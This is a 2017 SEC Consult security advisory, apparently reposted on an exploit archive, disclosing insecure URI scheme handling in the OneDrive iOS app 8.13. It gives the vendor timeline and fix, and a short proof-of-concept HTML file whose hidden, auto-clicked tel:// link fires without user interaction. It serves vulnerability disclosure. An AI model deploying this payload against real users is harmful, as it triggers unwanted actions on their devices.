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Microsoft OneDrive iOS App 8.13 Insecure URI Scheme Handling

Microsoft OneDrive iOS App 8.13 Insecure URI Scheme Handling
Posted May 10, 2017
Authored by Siddhartha Tripathy | Site sec-consult.com

Microsoft OneDrive iOS App version 8.13 suffers from insecure handling of URI schemes.

tags | exploit
systems | ios
SHA-256 | 96331267202453f8bfd241fa5ca12ebd55aa736445faad81735248a4b2b85409

Microsoft OneDrive iOS App 8.13 Insecure URI Scheme Handling

Change Mirror Download
A short demo video is available here:
https://youtu.be/0jZdM9peVSk


SEC Consult Vulnerability Lab Security Advisory < 20170510-0 >
=======================================================================
title: Insecure Handling Of URI Schemes
product: Microsoft OneDrive iOS App
vulnerable version: 8.13
fixed version: 8.14
impact: Medium
homepage: https://onedrive.live.com/
found: 2017-04-10
by: S. Tripathy (Office Singapore)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Do more wherever you go with Microsoft OneDrive. Get to and share your
documents, photos, and other files from your iOS device, computer (PC or
Mac), and any other devices you use. Use the Office mobile apps to stay
productive and work together, no matter where you are. The OneDrive app
for iOS lets you easily work with your personal and work files when
you're on the go."

Source:
https://itunes.apple.com/us/app/microsoft-onedrive-file-photo-cloud-storage/id477537958?mt=8


Business recommendation:
------------------------
SEC Consult recommends to implement a proper validation to handle the URI
schemes. Always ask for user permission before calling an external URI scheme.


Vulnerability overview/description:
-----------------------------------
1) Insecure Handling of URI Schemes

Due to the lack of URI schemes validation any external URI scheme can be
invoked by the Microsoft OneDrive iOS application with out any user
interaction.


Proof of concept:
-----------------
1) Insecure Handling of URI Schemes

An attacker can upload and share a malicious HTML file to invoke an
external URI scheme. Once the file is accessed by any OneDrive user with
an iOS device, the external URI scheme will be invoked automatically.

Example of a malicious HTML file:

============================================================================
<html>
<body>
<a id="callme" href="tel://1-xxx-xxx-xxx" style="display:none">click</a>
<script>
var t = document.getElementById("callme");
var fe = document.createEvent("MouseEvents");
fe.initEvent("click", true, true);
t.dispatchEvent(fe);
</script>
</body>
</html>
=============================================================================


Vulnerable / tested versions:
-----------------------------
The following version is affected by the identified vulnerability which
was the most recent version at the time of discovery:

Microsoft OneDrive iOS application v8.13


Vendor contact timeline:
------------------------
2017-04-11: Contacting vendor through secure@microsoft.com
2017-04-12: Vendor confirmed the vulnerability.
2017-04-21: Vendor released the updated version.
2017-05-10: Public release of advisory.


Solution:
---------
SEC Consult recommends to implement a proper validation to handle
the URI schemes. Always ask for user permission before calling a URI scheme.

Update to OneDrive v8.14
https://itunes.apple.com/us/app/microsoft-onedrive-file-photo-cloud-storage/id477537958?mt=8


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Siddhartha Tripathy / @2017

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